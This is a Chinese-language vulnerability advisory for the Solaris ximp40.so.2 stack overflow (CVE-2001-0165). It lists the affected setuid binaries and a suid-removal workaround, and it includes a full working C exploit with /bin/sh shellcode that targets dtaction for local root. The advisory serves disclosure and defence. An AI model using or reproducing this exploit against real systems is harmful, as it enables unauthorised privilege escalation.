安全研究
安全漏洞
Solaris ximp40库 缓冲区溢出
发布日期:2001-02-05
更新日期:2001-02-05
受影响系统:
描述:
Sun Solaris 8.0_x86
Sun Solaris 8.0
Sun Solaris 7.0_x86
Sun Solaris 7.0
BUGTRAQ ID:2322
CVE(CAN) ID: CVE-2001-0165
Solaris 是Unix操作系统的一种,由Sun微系统公司负责维护分发,从版本8开始源代
码公开了。
Openwin携带的ximp40.so.2库存在一个漏洞,用户通过向那些使用该库的应用程序命
令行提供超长字符串参数(大约272个字节),将导致一次堆栈缓冲区溢出,恶意的本
地用户籍此可能获取set-euid-to-mail的特权,甚至set-euid-to-root的特权,具体
依赖于被溢出的应用程序如何设置suid位。
已知受此漏洞影响的应用程序有:
*Solaris 8
suid root : /usr/dt/bin/dtaction
suid root : /usr/dt/bin/dtprintinfo
suid root : /usr/openwin/bin/sys-suspend
sgid mail : /usr/dt/bin/dtmail
sgid mail : /usr/openwin/bin/mailtool
*Solaris 7
suid root : /usr/dt/bin/dtaction
suid root : /usr/dt/bin/dtprintinfo
suid root : /usr/dt/bin/dtappgather
suid root : /usr/bin/admintool
suid root : /usr/openwin/bin/sys-suspend
sgid mail : /usr/dt/bin/dtmail
sgid mail : /usr/openwin/bin/mailtool
<* 来源:UNYUN (shadowpenguin@backsection.net) *>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
UNYUN提供了一个x86平台的测试程序:
/*
* Solaris ximp40 shared library exploit for Solaris8 Intel Edition
* The Shadow Penguin Security (http://shadowpenguin.backsection.net)
* Written by UNYUN (shadowpenguin@backsection.net)
* [usage]
* #xhost +targethost
* #telnet targethost
* ...
* %setenv DISPLAY yourhost:0.0
* %gcc ximp40.c
* %./a.out
* 0:Default value 1:Calculated value > 1 <- Input 0 or 1
*/
#include <stdio.h>
#define BUF_SIZE 272
#define EIP_OFFSET 260
#define FAKE_OFFSET 264
#define FAKE_VALUE 0x08046dec
#define EIP_VALUE 0x08047cb4
#define FAKE_VALUE_DIF 0xd9c
#define EIP_VALUE_DIF 0x12c
#define NOP 0x90
char shell_code[]=
"\xeb\x3b\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xc1"
"\x88\x46\xc6\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x17\xe8\xdf"
"\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89"
"\x5e\x08\x53\xb0\x3b\xe8\xc8\xff\xff\xff\x83\xc4\x0c\xe8\xc8\xff"
"\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff";
unsigned long get_sp(void)
{
__asm__(" movl %esp,%eax ");
}
void valset(char *p,unsigned int val)
{
*p=val&0xff;
*(p+1)=(val>>8)&0xff;
*(p+2)=(val>>16)&0xff;
*(p+3)=(val>>24)&0xff;
}
main()
{
char buf[BUF_SIZE];
unsigned int esp=get_sp(),sw;
memset(buf,NOP,BUF_SIZE);
memcpy(buf+EIP_OFFSET-strlen(shell_code),shell_code,
strlen(shell_code));
printf("esp=%x\n",esp);
printf("0:Default value 1:Calculated value >");
fflush(stdout);
scanf("%d",&sw);
if (sw==0){
valset(buf+FAKE_OFFSET, FAKE_VALUE);
valset(buf+EIP_OFFSET , EIP_VALUE);
printf("Jumping address = %x\n",EIP_VALUE);
}else{
valset(buf+FAKE_OFFSET, esp-FAKE_VALUE_DIF);
valset(buf+EIP_OFFSET , esp+EIP_VALUE_DIF);
printf("Jumping address = %x\n",esp+EIP_VALUE_DIF);
}
buf[BUF_SIZE-1]=0;
execl("/usr/dt/bin/dtaction",buf,NULL);
} /* end of main */
建议:
临时解决方案:
在Sun公司未提供针对ximp40.so.2库的官方补丁之前,用户可以考虑去掉受此漏
洞影响的应用程序的suid位。
厂商补丁:
暂无
浏览次数:5183
严重程度:0(网友投票)
绿盟科技给您安全的保障